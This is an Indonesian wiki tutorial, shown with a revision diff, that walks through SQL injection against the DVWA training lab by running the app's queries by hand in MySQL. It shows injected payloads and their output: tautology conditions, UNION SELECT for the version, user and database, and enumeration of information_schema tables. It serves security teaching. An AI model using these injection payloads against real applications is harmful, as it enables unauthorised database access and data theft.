Difference between revisions of "DVWA: perintah SQL di server DVWA"

From OnnoWiki
Jump to navigation Jump to search
Line 203: Line 203:
 
INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi
 
INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi
 
tentang database yang di maintain oleh MySQL.
 
tentang database yang di maintain oleh MySQL.
 +
 +
Untuk mencek apakah ada tabel user di salah satu database, masukan perintah,
 +
 +
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#';
 +
 +
Akan keluar
 +
 +
+------------+-----------------------------------+
 +
| first_name | last_name                        |
 +
+------------+-----------------------------------+
 +
| NULL      | USER_PRIVILEGES                  |
 +
| NULL      | users                            |
 +
| NULL      | user                              |
 +
| NULL      | user_variables_by_thread          |
 +
| NULL      | user_summary                      |
 +
| NULL      | user_summary_by_file_io          |
 +
| NULL      | user_summary_by_file_io_type      |
 +
| NULL      | user_summary_by_stages            |
 +
| NULL      | user_summary_by_statement_latency |
 +
| NULL      | user_summary_by_statement_type    |
 +
+------------+-----------------------------------+
 +
10 rows in set (0,00 sec)

Revision as of 17:39, 11 March 2017

Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti jika kita mengerti perintah SQL yang di berikan. Langkah untuk mempelajari ini tidak terlalu sulit

  • Login ke mesin server yang kita instalasi DVWA
  • menjadi super user, menggunakan perintah
sudo su


  • Masuk ke database MySQL, jika password root mysql adalah 123456, maka kita dapat menggunakan perintah
mysql -u root -p123456


Jika berhasil dengan baik maka akan keluar

mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.7.17-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
  • Untuk berlatih kita perlu menggunakan database dvwa, ketik perintah
use dvwa

Kita sudah siap untuk belajar / memlihat apa yang terjadi jika kita latihan SQL Injection. Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah

SELECT first_name, last_name FROM users WHERE user_ID = '$id';

Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main dengan MySQL secara manual tanpa melakukan injection.

Masukan perintah

SELECT first_name, last_name FROM users WHERE user_ID = '1';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0,00 sec)


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_ID = '2';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| Gordon     | Brown     |
+------------+-----------+
1 row in set (0,00 sec)


Masukan perintah, untuk mencek apakah bisa di inject perintah lain

SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
+------------+-----------+
5 rows in set (0,00 sec)


Masukan perintah, untuk mencek apakah bisa di inject perintah lain

SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
+------------+-----------+
5 rows in set (0,01 sec)


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #;

Keluar

+------------+-------------------------+
| first_name | last_name               |
+------------+-------------------------+
| admin      | admin                   |
| Gordon     | Brown                   |
| Hack       | Me                      |
| Pablo      | Picasso                 |
| Bob        | Smith                   |
| NULL       | 5.7.17-0ubuntu0.16.04.1 |
+------------+-------------------------+
6 rows in set (0,00 sec)

Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1


Masukan perintah,

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #';

Keluar

+------------+----------------+
| first_name | last_name      |
+------------+----------------+
| admin      | admin          |
| Gordon     | Brown          |
| Hack       | Me             |
| Pablo      | Picasso        |
| Bob        | Smith          |
| NULL       | root@localhost |
+------------+----------------+
6 rows in set (0,00 sec)

akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
| NULL       | dvwa      |
+------------+-----------+
6 rows in set (0,00 sec)

akan keluar nama database yang digunakan, yaitu dvwa


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #';

Keluar

+------------+------------------------------------------------------+
| first_name | last_name                                            |
+------------+------------------------------------------------------+
| NULL       | CHARACTER_SETS                                       |
| NULL       | COLLATIONS                                           |
| NULL       | COLLATION_CHARACTER_SET_APPLICABILITY                |
| NULL       | COLUMNS                                              |
..
..
..
| NULL       | x$wait_classes_global_by_avg_latency                 |
| NULL       | x$wait_classes_global_by_latency                     |
| NULL       | x$waits_by_host_by_latency                           |
| NULL       | x$waits_by_user_by_latency                           |
| NULL       | x$waits_global_by_latency                            |
+------------+------------------------------------------------------+
275 rows in set (0,01 sec)

Dimana

  • CHARACTER_SETS
  • COLLATIONS
  • COLLATION_CHARACTER_SET_APPLICABILITY

adalah INFORMATION SCHEMA table name. INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi tentang database yang di maintain oleh MySQL.

Untuk mencek apakah ada tabel user di salah satu database, masukan perintah,

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#';

Akan keluar

+------------+-----------------------------------+
| first_name | last_name                         |
+------------+-----------------------------------+
| NULL       | USER_PRIVILEGES                   |
| NULL       | users                             |
| NULL       | user                              |
| NULL       | user_variables_by_thread          |
| NULL       | user_summary                      |
| NULL       | user_summary_by_file_io           |
| NULL       | user_summary_by_file_io_type      |
| NULL       | user_summary_by_stages            |
| NULL       | user_summary_by_statement_latency |
| NULL       | user_summary_by_statement_type    |
+------------+-----------------------------------+
10 rows in set (0,00 sec)